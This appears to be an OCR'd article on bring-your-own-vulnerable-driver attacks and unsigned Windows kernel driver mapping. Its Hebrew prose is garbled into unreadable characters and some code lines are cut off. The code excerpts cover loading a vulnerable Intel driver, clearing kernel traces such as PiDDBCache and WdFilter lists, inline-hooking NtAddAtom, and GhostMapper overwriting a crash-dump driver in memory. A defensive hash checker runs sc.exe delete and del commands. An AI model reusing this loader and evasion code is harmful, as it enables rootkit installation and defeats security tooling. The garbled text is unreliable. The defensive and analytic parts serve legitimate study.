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Windows Driver 11> 07> NAtya ,N>yna O'TIWN 02T Ay bnxy Windows 9w 1o (1

DNIXN vani Windows n7u9nn N>yn 112y 0'vao 0DNAMT 7w DIXY 1aNn Tunnw Blocklist
DN 7W N0NAQ 0'¥ 1INIX DX DY NN K7 NINT .JARN2 XX KINENTPR2 [VOn? DDA
'9D [I¥IN ANAR \ 7Thn 17N Nwom nntn X7\ Nnte ANt X7 DIRTD N2INN N2 N7v9nn
N7Y 2" TRY, DT NI 0NN\ nYonn Novn 7w DrNaan 0YY'D N2NN7 NIwY? Naw

:zero-day NWYIN2 D'WYNNWN INIXNY IX AR YT 7V 2NN X7 ik

Summary

Microsoft introduced the vulnerable driver blocklist as an optional feature in Windows 10, version 1809. The
blocklist is enabled on systems that enable Hypervisor-protected Code Integrity (HVCI) or run Windows in S
Mode. Starting with Windows 11, version 22H2, the blocklist is also enabled by default on all devices. You
can turn it on and off using the Windows Security app.

Note The Windows Security app is updated separately from the OS and ships out of box. The version with
the toggle is in the final validation ring and will ship to all customers very soon.

This October 2022 preview release addresses an issue that only updates the blocklist for full Windows OS
releases. When you install this release, the blocklist on older OS versions will be the same as the blocklist on
Windows 11, version 22H2 and later. For more information, go to Microsoft recommended driver block rules.

Compatibility

Blocking drivers can cause devices or software to malfunction. In rare cases, it leads to a stop error. There is
no guarantee that the blocklist will block every driver that has weaknesses. To produce the blocklist,
Microsoft attempts to balance the security risks from vulnerable drivers against the potential effect on
compatibility and reliability.
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https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules
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M7 DIMN X7 12T N1'YON DY - NN0NN NNIK DR 'Y NIKAY 'YW TY NN 7w 110 (2
NNLVNY Y rootkit-n VP'N9N 77N NN AIRY NDIN XN NRY KNATA .N7590N DN
,ProtectionSolution/ProtectionDriverChecker) n13Iinnn '9'x90 70 .NI'277 NIPTIA 1910 A0
221 OINNY D'MINN X7 0N2'T NI'WYO TA1 N1ANYT 'RINK (MNRNN 9102 N1DINYT MY MDY
NRAITN 1IAYI sc.exe 7Y PNYN NN X' X 1T NIDINA .sc XIj7IN services 71N17 MIN7I9190
nN1I0N NDINYWIOY > ,PATH N2'20N NINWNA NIAX DN 217 '7¢ DDINN 7Y 2NN NIX 010N
loldrivers.io ANXNN 'MAWN '7W NaXNN NIX .OTIR V91N 7w nDINN "sc ..." NTIRON DX NAND
370N (DMAMT AENN 7V [N 1N TING'? N1YI) 09 02T W TINA 71T NN Tvnny
hashes-7 xy nX [1VV7 No1W 12T 723 7w hash-n NXNIWA - 2N21 VIYD TINA D' ARIYAN

ANN2

BOOL AnalyzeFilePath(char* FilePath, char* ServiceName) {
Status = CreateDataHash(FileData, FileSize, BCRYPT_SHA256_ALGORITHM,
&HashedFileData, &HashedFileSize);
if (!NT_SUCCESS(Status) || HashedFileSize == @ || HashedFileData == NULL) {
if (HashedFileData != NULL) {
free(HashedFileData);

}

if (FileData != NULL) {
free(FileData);

}

printf("[-] Failed to create SHA256 of image %s - Ox%x\n", FilePath, Status);
return FALSE;

// Compare the driver's SHA256 hash to the vulnurable list:
for (ULONG VulnHashIndex = @; VulnHashIndex < VULNLIST_SIZE; VulnHashIndex++) {
if (RtlCompareMemory(VulnurableBytelist[VulnHashIndex], HashedFileData, SHA256_HASHSIZE) ==
printf("[!] Warning: vulnurable driver found at %s, deleting driver file ..\n", FileP
strcat_s(UnloadCommand, "C:\\Windows\\System32\\sc.exe stop ");
strcat_s(UnloadCommand, ServiceName);
strcat_s(UnloadCommand, " && C:\\Windows\\System32\\sc.exe delete ");
strcat_s(UnloadCommand, ServiceName);
strcat_s(DeleteCommand, "del /s /q ");
strcat_s(DeleteCommand, FilePath);
system(UnloadCommand) ;
system(DeleteCommand);
WriteToLog(L"ScVulnFile.txt", GetCurrentWorkingDirectory(), FilePath, TRUE);
return TRUE;

nYION K77 NI7ID'N NAWN 1Y 12 WNNWA? N¥1IY DINNN N2 T DX IV07 7210 nnkal njpmna

Mappers 7¥ NINNAIT ¥' .'70N2 0'RAN D'A7WUN NIX NI'Y NNd X\ANNY71'wnnt '72i1,n1'von |nn

YNn2 NIXNAIT [NIR IR ORINEYY70NYT 90InYT T2 InXY Service-n NI X'ANNY7 101! DAY
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[N wm'wal ni70' nXann 7y nyjp

NNIXY [NDT NRYZN\NRIP\NQ'ND N7 WNNWN? 7311 Y50 121N NI'WO0 INKRY ,'MIYYY 19D

2017 N1 19RD N7 WIN'WN DR 02X ,N7V900 N2IYNnY7 DINN X700 TN N1'W0 11y 0NN

[INDT NXYN

,JIndependent Pages ,Memory Pools [120 ,"7277 TIp N2 T 7V nXpimn [NdT 7w 210 7D vynd

NXPINY JNITAIT'X INIXK DX ARNNN ORP"AIND n7vsnin nd>wn q1n2 nwa TIvI Contiguous Pages

BlockSize
Tag

_POOL_HEADER Tag

Pointer e T

LIST ENTRY /’—’_\

PreviousSize

0'02 NAIND ,|NI2TN 7712 1IND YT A2'wn? 17w NdIwna Ndwn 2D 27 nwa a1t na'o 7722
Sysinternals-n N2 1T 110" NIDINYT XNAAITA DX NIRA? [N .JNOT UT'R INIX JIN2 DINNE [NDTN
N'D 7Y N7 an'knnn nDInnE ,Windows nd>vn 71n1%7 DN Dtwim'y 0'7 7'onw Suite
22 7¥ 2N YT Al NDYN IXPINY Memory Pools-n '72 NX Nnwin PoolMon n1dinn .Poolmon

N NNX

Memory :16596536K rail: { PageFlts: 61849 InRam Krnl:32856K P:954604K ~
Commit:18962956K it:19 384K ak:11215636K Pool M: 748K

System poocl information

Tag Type Allocs Bytes Per Alloc

VoSa Nonp 2 ( i ( j 1 446676598929 ( 8) 446676508929
FMic Nonp 14799618 ( 32) 14277222 ( 3) 521788 275551808 ( 235084) 528
Irp MNonp 15746041 ( 787) 15222688 ( 772) 523353 265002352 ( 5648) 506
Thre Nonp 1388989 ( 32) 1255771 ( 32) 45218 09109344 ( 32) 2191
Proc Nonp 49684 (1) 7845 ( @) 41839 05858144 ( 2272) 2271
Even Nonp 49434461 (1145) 48854612 (1118) 580440 74303806 ( 3456) 128
FMsc Nonp 165418 ( 7) 106891 ( @) 59319 54998928 ( 6384) 912
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INNAIT?) TIR 7'o0 KIN OXR PNOYI [IN2TN TR 7W INXY [DINN NIX 1017 02 [N A0 IT DDINN MY
S(Yarirn n''nna "4D5A” 9w Magic Signature-n NX 721 PE UN1I92 2IMD n'f'w DINN X7 2T
N71y9% hook NWY1 DX NIRTT ,NXINYT [N 7702 [INOT TR INIX ORI NPT NN 213 TIpn OX NIXKYY

-['R NI'NWONN L (|NIT TR IMIN N7 nyRaxny SSDT-n 1IM2 N71¥97 yRaxn ¢' DX XNAIT?) Nn'ion

Jiolio

22 N{7M0 - VIYD TINA 1T KIN DT DINN X7 2T 200W [INDT TR 1017 17 1TY7 720'w TR 12T
NIQIND NIV KXY [NIT TR INIKA [0JIXAY 12'TN DX D' Tal NNl System Modules-n

.System Modules-nn TNX 7¥ |NdTN

2 NINT NWY)

1Y Y yTnan 72 nX 7aph 12 nuxann NtQuerySysteminformation nrxjpas? axnpn (1
A'TANYT )XY DRIYN DN0NID WY Y1197 .02 TN 7V 0191, NN
SystemModulelnformation 1ya wnnwn'? wr [XD :SysteminformationClass e
.D2IYLN DNAMTA 7V YTNN DX 010N N'Y7119N 1AW wnY? yaxn :Systeminformation e
VTN 011N 1AW NN 7TI1A :SysteminformationLength o

712 0D X7 NN DR) 75191 D2IMIN IR DR 72'w NInwnY? yaxn :ReturnLength e

(j7'oon

System 75 7y yvTm 7'2'w PSYSTEM_MODULE_INFORMATION DW2 N1an 1'78 TN IT Ny (2
NNIN DX NIRT7 7210 AT YTNN NITYA .0WI 7712 ,]1N2TA 0'0QN NAIMD [1ad ,NdyNa Module
0'02N NaIMdN 7'NNn) 1NW73 System Module 7w [INDT TR NY'OIN INNIY ATIVA NN
System-n 7w .text section-7 71 17'9X WI9'NN NKX IXP7 CTWOX 7T + 0'02N NAIMD D*'NoNi

(T 12 a7 A TRt 700 KIN D Module

:System Modules DNIX 7y 7ayn7 XnaIT

#include <windows.h>
#include <winternl.h>

#include <stdio.h>

typedef NTSTATUS (NTAPI *PNtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
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voild Enumeratedrivers()
{
PNtQuerySystemInformation NtQuerySystemInformation =
{PNtQuerySystemInformation)GetProcaddress(

GetModuleHandlew(L"ntdil.d11"), “NtQuerySystemInformation™);

ULONG length = 8;
NtQuerySystemInformation{SystemModuleInformation, NULL, @, &length);

ol v lacavs nEArmafs

PSYSTEM MODULE_INFORMATION pSystemInfo = (PSYSTEM_MODULE_INFORMATION)malloc(length);

if (NtQuerySystemInformation{SystemModuleInformation, pSystemiInfo, length, &length) == 4
{
for (ULONG i = @; 1 < pSystemInfo->ModuleCount; i++)
{
printf("Driver Name: Xs\n", pSystemInfo->Modules[i].FullPathName);
printf{" ~ Base Address: ¥p\n", pSystemInfo->Modules[i].ImageBase);
printf{" Size: ¥1u bytes\n", pSystemInfo->Modules[i].ImageSize);
3

free(pSystemInfo);

[N2T NanD / annp

NN 727 NI NNIMRY NI'0'o NI 17X N ,NIYWYT7 NN NN 'K ARZ\N2MON N7 1Y
N1t kernel-a RtiCopyMemory/memcpy 11D NIZIVD MNX 110" RIN NIYY7 [NYY TNX 12T .N0WwN

.hook

memcpy 7¥ N¥"IN VORLIIR) N7IYON NX NXINY NN 7D 7W context-7 nwa 7227 7211 11> NIxa
NXIPZY NDINN 7V [02IXNN YT NI NI72a0 [NIX DY ,N71¥97 IRIPY DDIN DNIR 7Y A1 e
MR N71Y97 KPY TIzn ORI TIVN N71¥97 KW TIzn OXR 21721 InTIpn RnAT? nnimatn,(n71ys7
NI'N7 2K X7 XN Signed Driver/System Module-n 70 X7 TIzn DRY |21 .ITA N71¥97 nw'a 7277

.N71Y97 RNPYT 'RWN

TIZ NXN
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TIRI,NDYN [NDT7 IVOW DINN X7 12T INIX 7@ DriverEntry()-n 7w n¥1nn y¥ann n'ion 17w2
7w D210 1 7D IX D'-event ,SSDT/IRP hooks 12> ,nniw 00T (1202 NIWY? [N Ath NQT

.0'NY9 1501 12D MY INIKY kdmapper 7¥ VN9 NIXY? N1 )27 XNAIT .021Y D*-callback

SSDT inline hook 1wy DYandN NNRINN X700 N1INN 7 DriverEntry()-n DX YN7 1D AT 0P'N9
,NDWNN 7W NN NN Nwnivn X7 vyndow NtAddAtom() n71¥97 17271 naMd Ni7d' NTva
TINX D719 72 IX DriverEntry()-n ,ntdll.dll-n system service INIX? Nn'XNNN N71¥90 KN DI

2voIn N7 JIx1n 197

GetProcAddress(...) Payload:

WEE MAE ad RE ee ses Res ses aes

NtAddAtom: SRR RS SAE REE SRR SEE REE RER ARE
jmp unsdriver_entrypoint

sizeof(Payload)

unsdriver_entrypoint:
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DAN TINY? "WONX NNl ,NLVYAN NIXNAIT

DINN X7 "7277 TI N1'WO 1Ay y¥an Unsigned Driver Mapper 70w D"'T>0nn D'TYYN Nj70 MNN
NIXNAIT NN 7V MAYKR NN X7 NI7'Y9 yinY "1 N>wna DNITR DNIKA 1017 [NIY yTnhn 7l

D'22N2> N2N 0NN TIN%7 NY DNIX2 0N7Y NAITTA NI'YON DX R'ANNYT N0 WYY NNdIN

.D'97INDI

kdmapper - 1 XnaIT

Dy BYOVD NU'wa NUNNWNY NIN NI KDMapper ™20 ,'"7¢ DTN DINKNA 'MIVYY 19D

" TIR NoWNN YW NDTY (Iv0'7 1D ,(CVE-2015-2291) igvwébd4e.sys 701'R 7w 'MYLINN 12T

N2MD N2 NN NIZIYD Y¥A7 NNWOKX 7010 NIXWAN DY qpINT 7y Igvwede.sys .0INN X7
N2 X¥YNIN TIZ 7¢ QXN DIY DAI0 NN NDIYNA [ND'T YW DRXPD ,N0VN [NDTA AR
ANI'Y NND X'ANNYT NI017 1D 71270 19N )'70N7 0112 02N DITYX 1YY 700 AnD .ndwvn [N

17w D"'TOINN D'VA'NYT 27N 72 DDON 27,0110 721 NI'WON NI
''x? TMNIY 0's01) DT

,UNNWNT DX KIN DDA N7 7w 210 NT'RA 1INAY7 WnNwn? NNWOK 1IN *720 7w ofandn (1
TR 72w 7722 ,117 nawn wnn X7 01 .2Thn n0Man Kin System Memory Pools-2 win'wed
N?'07 [NXYY NIX RN NIDIN N X ,NNIT NNIXA 1720900 DDA T 7Y TYINN nx¥zm [nar
-1 YIn'yn DX ITYN' NINSI System Memory Pools 1D ANIF NNdIMN- [I0OXN DNIX 7w

:NNAIT? Independent Pages IX Contiguous Memory Pages

int wmain( int argc, wchar_t** argv) {
SetUnhandledExceptionFilter(SimplestCrashHandler);

bool free = paramExists(argc, argv, L"free") > 0;
bool indPagesMode = paramExists(argc, argv, L"indPages") > 0;

bool passAllocationPtr = paramexists(argc, argv, L"PassAllocationPtr") > 0;

(free) {
Log(L"[+] Free pool memory after usage enabled" << std::endl);

(indPagesMode) {

Log(L"[+] Allocate Independent Pages mode enabled" << std::endl);

(free && indPagesMode) {
Log(L"[-] Can't use --free and --indPages at the same time" << std::endl);

help();
_1;

(passAllocationPtr) {
Log(L"[+] Pass Allocation Ptr as first param enabled" << std::endl);
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https://github.com/Tare05/Intel-CVE-2015-2291

DY NX 72727 10'700 DDINN AND X ,NNIY D10 NIDINY N2n yN9r X7 At pon DA (2
Temp 2'N12 DT 0¥ 7W DIR'N INIXK MW '701T0 DY 17W Y2127 DX DXV Y]A90 12T

noayvna

memset(intel_driver::driver_name, 0, (intel_driver::driver_name));
char alphanum[] =
"abcdefghijklmnopgrstuvwxyz"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;
int len = rand() % 20 + 10;
(int i = 9; 1 < len; ++i)
intel_driver::driver_name[i] = alphanum[rand() % ( (alphanum) - 1)];

Log(L"[<] Loading vulnerable driver, Name: " << GetDriverNameW() << std::endl);

std::wstring driver_path = GetDriverPath();
(driver_path.empty()) {
Log(L"[-] Can't find TEMP folder" << std::endl);
INVALID_HANDLE_VALUE;

}

_wremove(driver_path.c_str());

('utils::CreateFileFromMemory(driver_path, <
char*>(intel_driver_resource::driver), (intel_driver_resource::driver))) {
Log(L"[-] Failed to create vulnerable driver file" << std::endl);
INVALID_HANDLE_ VALUE;

NIYY7 10"700 220 "anp ,sc.exe IND services 71n17 77NN NN NDINA wnnwn? nigna (3
I'N' X7 "7 1D Nman D LT 91X Service-n 1IAY Registry 7Y 7D X't WinAPI-a win'y
72T (VLY DY 7D K7aw NtLoadDriver()-7 hook 1> AN nimd>nimn NnANY [amd Niroa

:NI'YON NN 07 [TV DI

bool service::RegisterAndStart( std::wstring& driver_path) {
DWORD ServiceTypeKernel = 1;
std::wstring driver_name = intel_driver::GetDriverNameW();
std::wstring servicesPath = L"SYSTEM\\CurrentControlSet\\Services\\" +
driver_name;
std::wstring nPath = L"\\??\\" + driver_path;

HKEY dservice;
LSTATUS status = RegCreateKeyW(HKEY_LOCAL_MACHINE, servicesPath.c str(), &dservice);

(status != ERROR_SUCCESS) {
Log("[-] Can't create service key" << std::endl);
false;

}

status = RegSetKeyValueW(dservice, NULL, L"ImagePath", REG_EXPAND SZ, nPath.c_str(),
(DWORD) (nPath.size()* (wchar_t)));
(status != ERROR_SUCCESS) {
RegCloseKey(dservice);
Log("[-] Can't create 'ImagePath' registry value" << std::endl);
false;

}

status = RegSetKeyValueW(dservice, NULL, L"Type", REG_DWORD, &ServiceTypeKernel,
(DWORD) ) ;
(status != ERROR_SUCCESS) {
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RegCloseKey(dservice);
Log("[-] Can't create 'Type' registry value" << std::endl);

false;

}

RegCloseKey(dservice);

HMODULE ntdll = GetModuleHandleA("ntdll.d11");
(ntdll == NULL) {
false;

TINIION 27W2 N 110" NIDIN T 72V DTN YInng 1O 1YY DN ANDY D'DINN OFTYXN e
1107\ NNXY N7W9NN NDIWNY NIN'WIN NIXANN NYIIX 19 D'YY1 .V'2A9N DINNN 12T
[PNOTAN IN'NINY N7RD7 DAl NDWnN7 1nyviw System Modules-7 Niwiy D's011 Ndwvn
NDIYNA service-d Y'A9n 12T OIY 7¢ TIV'NN DX X'ANN7 [N 1T NNIXa .unload Nn71y92
NN RINP7 710" 1770 NIKANN2A VN1 XNpRY "My m .'7nnn 7w ariion? groin? 7oii

TI7 NI'WO QY NIV K'Y DFTYND DRENDDINN DX TvNn X 1 163 (1'% mNnn

:BYOVD marya "7y

(!'intel_driver::ReadMemory(result, intel_driver::ntoskrnlAddr, &dosHeader,
(IMAGE_DOS_HEADER)) || dosHeader.e magic != IMAGE_DOS_SIGNATURE) {
Log(L"[-] Can't exploit intel driver, is there any antivirus or anticheat running?"
<< std::endl);
intel _driver::Unload(result);
INVALID_HANDLE_ VALUE;

(!intel_driver::ClearPiDDBCacheTable(result)) {
Log(L"[-] Failed to ClearPiDDBCacheTable" << std::endl);
intel_driver::Unload(result);

INVALID_HANDLE_VALUE;

('intel_driver::ClearKernelHashBucketList(result)) {

Log(L"[-] Failed to ClearKernelHashBucketList" << std::endl);
intel _driver::Unload(result);
INVALID_HANDLE_VALUE;

('intel_driver::ClearMmUnloadedDrivers(result)) {
Log(L"['] Failed to ClearMmUnloadedDrivers" << std::endl);
intel_driver::Unload(result);

INVALID_HANDLE_ VALUE;

('intel driver::ClearWdFilterDriverList(result)) {
Log("[!] Failed to ClearWdFilterDriverList" << std::endl);
intel_driver::Unload(result);

INVALID_HANDLE_VALUE;
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SSDT -2 wnnwn'? NN2 720 AN DINN X700 TIPN DN Ay 728,07 770 DX 12D MY e
YIN NI901 NI7D' ndN¥n X7 Xnw 771 nw npn? n'win'yw 1t nu'w Linline hook
21 P71 nwenn NdVN n'7'a0 NIXa oY N71Y97 ARME? punnn 7 ,namd\nRNn
X7v 7191 win'wn .ntdll.dil-n nn'knnn Win32API n71v97 naxMp NAtva n71v97 XNpt
211 P71 N'wyw hook-n X INXA' K7W NI NI2A '1D'07 XN NNIDA NNTTN NYnivn

*TIYN 12T DIY IRY'Y *720 NDIYNIA NI NX AT IRWUNYT

HMODULE ntdll = GetModuleHandleA("ntdll.dl1");
(ntdll == 0) {
Log(L"[-] Failed to load ntdll.d1l1l" << std::endl);
false;

auto NtAddAtom = <void*>(GetProcAddress(ntdll, "NtAddAtom"));
('NtAddAtom)
{
Log(L"[-] Failed to get export ntdll.NtAddAtom" << std::endl);
false;

}

uint8_t kernel_injected_jmp[] = { 0x48, 0xb8, 0x00, 0x00, O0x00, Ox00, Ox00, O0x00, 0x00,
0x00, oxff, oxeo0 };

uint8_t original_kernel_ function[ (kernel_injected_jmp)];

*(uinte4_t*)&kernel _injected jmp[2] = kernel function_address;

uint64_t kernel NtAddAtom = GetKernelModuleExport(device handle,

intel_driver::ntoskrnlAddr, "NtAddAtom");
('kernel NtAddAtom) {
Log(L"[-] Failed to get export ntoskrnl.NtAddAtom" << std::endl);
false;

(!'ReadMemory(device_handle, kernel_NtAddAtom, &original_kernel_function,
(kernel_injected_jmp)))
false;

(original_kernel function[@] == kernel_injected_jmp[0] &&
original_kernel function[l1] == kernel_injected_jmp[1l] &&
original_kernel_function[ (kernel_injected_jmp) - 2] ==
kernel_injected_jmp[ (kernel_injected_jmp) - 2] &&
original_kernel_function[ (kernel_injected_jmp) - 1] ==
kernel_injected_jmp[ (kernel_injected_jmp) - 1]) {

Log(L"[-] FAILED!: The code was already hooked!! another instance of kdmapper

running?!" << std::endl);
false;

}

GhostMapper - 2 XnaIT

D'7'NNNY Nd>IYN 21 190n7 17 bW NX11D Windows Nidyna 0'-Driver DY YN 7OYNNY N
IN) O'NDY MA'MIT D'KI71 O'NWY1,NTRIM Nun pa on 1780 02T C"dump " naimpa

.(Ghost Drivers :n'"721x2
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001 YIN'y/N10n 0N7 U' .N0Mj7 NV NDIWNN 7W Nniad X971 NN NiNN 7v NNyl 0'wnwn on
NOIYNN NI?'WOY yaind 0Im NNy 0DMIXY 0NYIoN 0NAMTY PN DNAY DNpnt oy
¥ DWUN NMINKRETMI2TAY NNIT'PN 0OV DN2MNT DNIR 7W 701V I DT NPl nnxy noyp7 ma

2T K77 Nipnin 12T

2v 7NNy Ghost Drivers-n 7w 112110 NX 7'v5n7 [N ,N0"Mj7 1197 DRIYN D1IN 1INY7 NX1] DX
Ghost-2 win'win w192 qunna [IMY |"ayn yTn v' 1Y crashdmp.sys owa nd>wyn 2o ' T

WNNYUNN IXD 97 INIX NNWTIINIR 7¥17 NNWON W' X, T RIN Drivers

¢ 1.3 Crashdump.sys:

As stated before all ghost drivers have the same
prefix. What if we could somehow patch this
prefix before all the ghost drivers are loaded into
memory?

lea

mov >

lea , Context

call memmove

mov > qword_1C0010888

lea
xor
mov + +
lea , aDump
lea > +
call Crashdmpl
mov
mov

N7 .dump driver N'¥"7 N TN DX TYNY NN 722 MY 738 ,INKNN 70 NITINN NN0Nn N1 NIRT
YO 12 TAY T WNNNNY DDNIXY DRIMUVNAPZ NN W' 72,0910 FT' 7V 200 TVINN K7
(12> DSE / 2'01 T test sign IX) [y0rn'? *T2 driver certificate 1¥ Nt 2T AR M T My (1

:N'7n'7 )XW structures DY O'XAN D'VNNON NX 72N DriverEntry-n- (2

DriverEntry(PFILTER_EXTENSION FilterExtension, FILTER_INITIALIZATION_DATA FilterInitialization);

NYNINN TWUKRD D'wnwnw DIY callback functions-2 X'7nNin? Wmxw (0N19 Filterlnitialization
1Y 7NNX7 0XAY NI7IYO9N 110 .0'7'A0 DMAMTA Major Function Table-7 nnima ,nonyp
2T

dumping-n 3"7nn 2INNX :Dump_Start() e

D'TYNN NINIXY dump-7 N2'ND :Dump_Write() e

D'TYNN 1NIXRY dump-nn NXM7 :Dump_Read() e

D07 DINX DT OI9'RI D'AXYNA YNNY ,)*70NN DI'0 :Dump_Finish() e

DriverUnload() Nn'71y97 nniTa ,n>wn |N2™ 12" TN NXXIN :Dump_Unload() e

nXNY M7 1% ' ning ,NarTN AnnY 0'vo1l 0N poon FilterExtension 10N19N

JNXNN 9102 D'V NIZIYON 72 NN TYNNY MND MY ,RYNA 7aynnY? 'wnny
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IR registr-n N2 INIX DIRNAY D0N9N 72 DRI J2*TN DX DIYAY? 10X ,0U9 75 1D (3

:A'N12 DYoOn

HKEY LOCAL_MACHINE\SYSTEM\CurrentControlSet\CrashControl\DumpFilters

N0 crashdump.sys-w 27 722107 717y nTw 7222 Nt 2%wa 0'nr nirn' 00X L7100 2N Dizna
IT QITNWN 72V NYmMe nn ,n72u9nn Nya NDIwNn NOMRY7 DINA'Y NI X7 NNIX2 12T DX [1IV0Y7
-2 01DX "IN NINTN NIANN NXNY7 1'WOYI ,0"7WI19 Dump/Ghost Drivers 'K 7w nuwisn noa

.Ghost Drivers DNIX DX 7¥In XIN Naw nIx?1 GhostMapper

Name (Disk) Base Name (Memory) Purpose

SCSI/Storport dump port driver with required exports from
diskdump.sys | dump_diskdump
scsiport.sys and storport.sys. This driver is unloaded

IDE/ATA dump port driver with required ataport.sys exports.
dumpata.sys | dump_dumpata
This driver is unloaded

scsiport.sys dump_scsiport The final SCSI/Storport dump port driver
ataport.sys dump_ataport The final IDE/ATA dump port driver
An older, generic ATAPI miniport driver provided by the OS for
atapi.sys dump_atapi
IDE/ATA drives
vmscsi.sys dump_vmscsi The miniport driver provided by VMWare for SCSI drives

The miniport driver provided by LSI Corporation for
LSI_SAS.sys dump_LSI_SAS
serialattached storage drives

dumpfve.sys | dump_dumpfve Windows full volume encryption crash dump filter driver

7Y NUNN DX A'wN KIN 'R NIRYY 720 1'wiy ,GhostMapper a7 'OVIN'IN YT LX) TV LINT

In7yonn Nd>wna |NDT7 DINN X7 T 19N

N'YLN OX MI7D ,NOWNY7 [IYOW 12T JIN2 2ND [NNO9N yy 70NN 197 Ty "7 awn
NN TIEN W N1'WOY7 12T INIR 2 WP 0Tl test sign \ nn'mn oy N'ro% NNIXa nyxian

ONIF NN DT NI N7IVON 17N DR KIXNT TWOR

-2 win'y 'R D Mvwa XY7) unsigned driver mapper NItV [IVO NN NQMITH AW Npna
-0 )"7NN NXANNAI NID'RA NITN [AmMd 2NN (M2 TN 770D RegistryPath-2 Ix DRIVER_OBJECT
NN W' TNX 727 IMMNN2 IXNN XY 1901 ,unsigned driver mapper INIX '97 1IYXIN mapping

7Y ninnonnl nNNY

-0 7NN X7 XIDNIRDT7 X, NN D71V 7D YXAT NITNWONRI NIRWIN W' W 1AT7 1T MIiXa

Anna "t
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:D27W NND 0'WXIAN,DINNN 2" TR NV KT

N7 NMPNa DRNDNI 17X NNUVNA NN W', NN D' NIRTIAY ghost/dump driver n'na .1
"dump_dumpfve.sys "-2 wnnwn'7 10"7nn

NN 12D 'MATXY 19D target ghost driver-n YW System Module-n NN A"¥NW N1ann Nawn .2
N DINN N2'*T 271 RTL_PROCESS_MODULE_INFORMATION n1an natya axi'n 12T '
NMLN T INIR Y VTN A'WNY

NTI7 "T2 DINN 7V NI T2 0'Y¥an DANPN NRT NNNYI L hardcoded [0dIkn DINN X701 "amMTn .3
D'M'RNNN D' 72 DOS/NT Signatures-n NRNWN NI ' TRI PE U019 |0DINA KINY
77TAN IMIXA MXI'T 19XKA7 hardcoded-n yTn 7w NOIYD Npnyn NwXIan DN NX7 .0l

:imports-I relocations |I7'N N> D"12'Y YIX'ANIAY

NTSTATUS PatchMemory(RTL_PROCESS_MODULE_INFORMATION module)
{

//Get the right pe header information. and validate signatures

IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)DumpDriver;

if (dos->e_magic != IMAGE_DOS_SIGNATURE)

{

return STATUS_UNSUCCESSFUL;

IMAGE_NT_HEADERS64* nt = (IMAGE_NT_HEADERS64*)(DumpDriver + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE)

{

return STATUS_UNSUCCESSFUL;

//Allocate a buffer to prepare the driver to be patched in.
PMDL mdl = MmAllocatePagesForMdl({ @ }, { ~eul }, { @ }, nt->OptionalHeader.SizeOfImage);
BYTE* allocation = (BYTE*)MmMaplLockedPages(mdl, KernelMode);

RtlCopyMemory(allocation, DumpDriver, nt->FileHeader.SizeOfOptionalHeader);

// Copy sections one at a time
PIMAGE_SECTION_HEADER sec_hdr = (PIMAGE_SECTION_HEADER)((BYTE*)(&nt->FileHeader) + sizeof(IMAGE_FILE_HEADER) + nt-
for (int i = @; i < nt->FileHeader.NumberOfSections; i++, sec_hdr++)

{

RtlCopyMemory(allocation + sec_hdr->VirtualAddress, DumpDriver + sec_hdr->PointerToRawData, sec_hdr->Size(

D'NINN X7 DN2AMT NIWD T
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//Imports
PIMAGE_IMPORT_DESCRIPTOR import = (PIMAGE_IMPORT_DESCRIPTOR)(nt->OptionalHeader.DataDirectory[1].VirtualAddress + allocation);

while (import->Name)

{
PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(allocation + import->OriginalFirstThunk);
PIMAGE_THUNK_DATA fthunk = (PIMAGE_THUNK_DATA)(allocation + import->FirstThunk);
while (thunk->ul.AddressOfData)
{
LPCSTR name = (thunk->ul.Ordinal & IMAGE_ORDINAL_FLAG) ? (LPCSTR)(thunk->ul.Ordinal & @xFFFF) : ((PIMAGE_IMPORT_BY_NAME)(al]
RTL_PROCESS_MODULE_INFORMATION temp;
NTSTATUS status = GetSystemMeduleInformation(((LPCSTR)(allocation + import->Name)), &temp);
if (status == STATUS_SUCCESS)
{
*(PvOoID*)fthunk = (PVOID)ZGetProcAddress((UINT64)temp.ImageBase, name);
}
thunk++, fthunk++;
}
import++;
¥

// Relocations
INT64 delta = (INT64)(allocation - nt->OptionalHeader.ImageBase);
PIMAGE_DATA_DIRECTORY reloc = &nt->OptionalHeader.DataDirectory[5];
for (PRELOC_BLOCK HDR i = (PRELOC_BLOCK_HDR)(allocation + reloc->VirtualAddress); i < (PRELOC_BLOCK_HDR)(allocation + reloc->VirtualAddress
for (PRELOC_ENTRY entry = (PRELOC_ENTRY)i + 4; (BYTE*)entry < (BYTE*)i + i->BlockSize; ++entry)
if (entry->Type == 18)
*(UINT64*) (allocation + i->PageRVA + entry->Offset) += delta;

// Discardable sections
sec_hdr = (PIMAGE_SECTION_HEADER)((PUCHAR)(&nt->FileHeader) + nt->FileHeader.SizeOfOptionalHeader + sizeof(IMAGE_FILE_HEADER));
for (int i = @; i < nt->FileHeader.NumberOfSections; i++, sec_hdr++)
if (sec_hdr->Characteristics & IMAGE_SCN_MEM_DISCARDABLE)
memset(allocation + sec_hdr->VirtualAddress, @xe@, sec_hdr->SizeOfRawData);

2T INIK 7w |NDT? 19w modified unsigned driver-n NO1DNI TV M2"TA VAN 7D 019'R .4
M) 1A T? 0Mran I PE format-n 9w headers-n 1> nraiwnn 0N 7 11 nnixa T
qO0I1 MAT .AITT INWN [XD NMPY A7 NWR MNP N2IN DY P71 (02T XD Nninn X700 N1DIMN
MIYYY NP TAN D71 ,0INN 12T 7¢ [N0T QTR INYND DAIMN X700 DDINN NIRDYY KIN

MWD AR 7O01 TIAN X7 "MKna

if (!nt->OptionalHeader.AddressOfEntryPoint)
return STATUS_UNSUCCESSFUL;

//Zero the memory in the driver so we dont have any information left in it.

ZercMemory(module.ImageBase, module.ImageSize);

//Patch in our driver :D

WriteToProtectedMemory((void*)module.ImageBase, (BYTE*)allocation, nt->OptionalHeader.SizeOfImage);

//Now we can free the pool since we have already patch in the driver. Also zero it out so it can be traced.
RtlZeroMemory(allocation, nt->OptionalHeader.SizeOfImage);

MmUnmapLockedPages(allocation, mdl);

MmFreePagesFromidl(mdl);

ExFreePool(mdl);
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DAl 0'77TAN N2'N2N DA D'DYYI sections ,0MUNID DNIX DX PIMTA D' K7 NIPnn AMTV 9722 5

